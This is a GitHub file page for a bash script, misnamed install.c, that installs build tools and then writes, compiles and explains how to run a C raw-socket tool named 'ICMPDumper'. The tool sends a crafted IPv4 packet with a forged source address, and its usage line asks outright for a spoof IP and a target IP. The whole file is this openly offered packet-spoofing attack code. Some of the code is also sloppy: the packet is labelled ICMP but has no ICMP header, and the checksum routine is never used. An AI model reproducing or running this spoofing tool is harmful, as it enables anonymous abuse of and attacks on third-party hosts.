-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathinstall.c
142 lines (116 loc) · 3.77 KB
/
install.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/bin/bash
# Set variables
SRC_FILE="icmpdumper.c"
OUTPUT_BINARY="icmpdumper"
GCC="gcc"
# Update and install necessary dependencies
echo "Updating package list and installing required packages..."
sudo apt update
sudo apt install -y build-essential net-tools
# Create the C source file
echo "Creating the source C file ($SRC_FILE)..."
cat > $SRC_FILE <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
struct icmp_hdr {
struct iphdr iph;
char text[16]; // Ensure proper buffer size for the text
} encaps;
int in_cksum(int *ptr, int nbytes) {
long sum;
u_short oddbyte, answer;
sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((u_char *)&oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
struct sockaddr_in sock_open(int socket, char *address, int prt) {
struct hostent *host;
struct sockaddr_in sin;
if ((host = gethostbyname(address)) == NULL) {
perror("Unable to get host name");
exit(-1);
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET; // Use AF_INET instead of PF_INET
sin.sin_port = htons(prt); // Port is typically unused in raw sockets, can be set to any value
memcpy(&sin.sin_addr, host->h_addr, host->h_length);
return sin;
}
int main(int argc, char **argv) {
int sock, on;
struct sockaddr_in addrs;
printf("\t\tICMPDumper \n\t\t\tBy SleepTheGod\n");
if (argc < 3) {
printf("Usage: %s <ip_spoof> <dest_ip>\n", argv[0]);
exit(-1);
}
// Setup encapsulation text (example for a fixed message)
memcpy(encaps.text, "BLADI TZO TOPOYO", 16); // Properly initializing text array with null-termination
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("Socket creation failed");
exit(-1);
}
on = 1;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
perror("Can't set IP_HDRINCL option on socket");
exit(-1);
}
fflush(stdout);
addrs = sock_open(sock, argv[2], 0); // Raw sockets don't need a specific port
// Setting up the IP header
memset(&encaps.iph, 0, sizeof(struct iphdr));
encaps.iph.version = 4; // IP Version 4
encaps.iph.ihl = 5; // IP Header Length (5 words, 20 bytes)
encaps.iph.frag_off = 0; // No fragment offset
encaps.iph.id = htons(0x001);
encaps.iph.protocol = IPPROTO_ICMP; // Assuming ICMP for this example
encaps.iph.ttl = 64; // Time to Live
encaps.iph.tot_len = htons(sizeof(struct iphdr) + sizeof(encaps.text)); // Total length of the packet
encaps.iph.daddr = addrs.sin_addr.s_addr;
encaps.iph.saddr = inet_addr(argv[1]);
printf("\tDuMpInG %s ---> %s \n", argv[1], argv[2]);
// Send the crafted packet
if (sendto(sock, &encaps, sizeof(encaps), 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1) {
if (errno != ENOBUFS) {
perror("Error sending packet");
}
}
fflush(stdout);
close(sock);
return 0;
}
EOF
# Compile the C source file
echo "Compiling the C source code..."
$GCC -o $OUTPUT_BINARY $SRC_FILE
# Check if the compilation was successful
if [ $? -eq 0 ]; then
echo "Compilation successful! Executable: $OUTPUT_BINARY"
else
echo "Compilation failed!"
exit 1
fi
# Run the compiled binary with arguments (you need to provide them when running)
echo "To run the program, use: sudo ./$OUTPUT_BINARY <ip_spoof> <dest_ip>"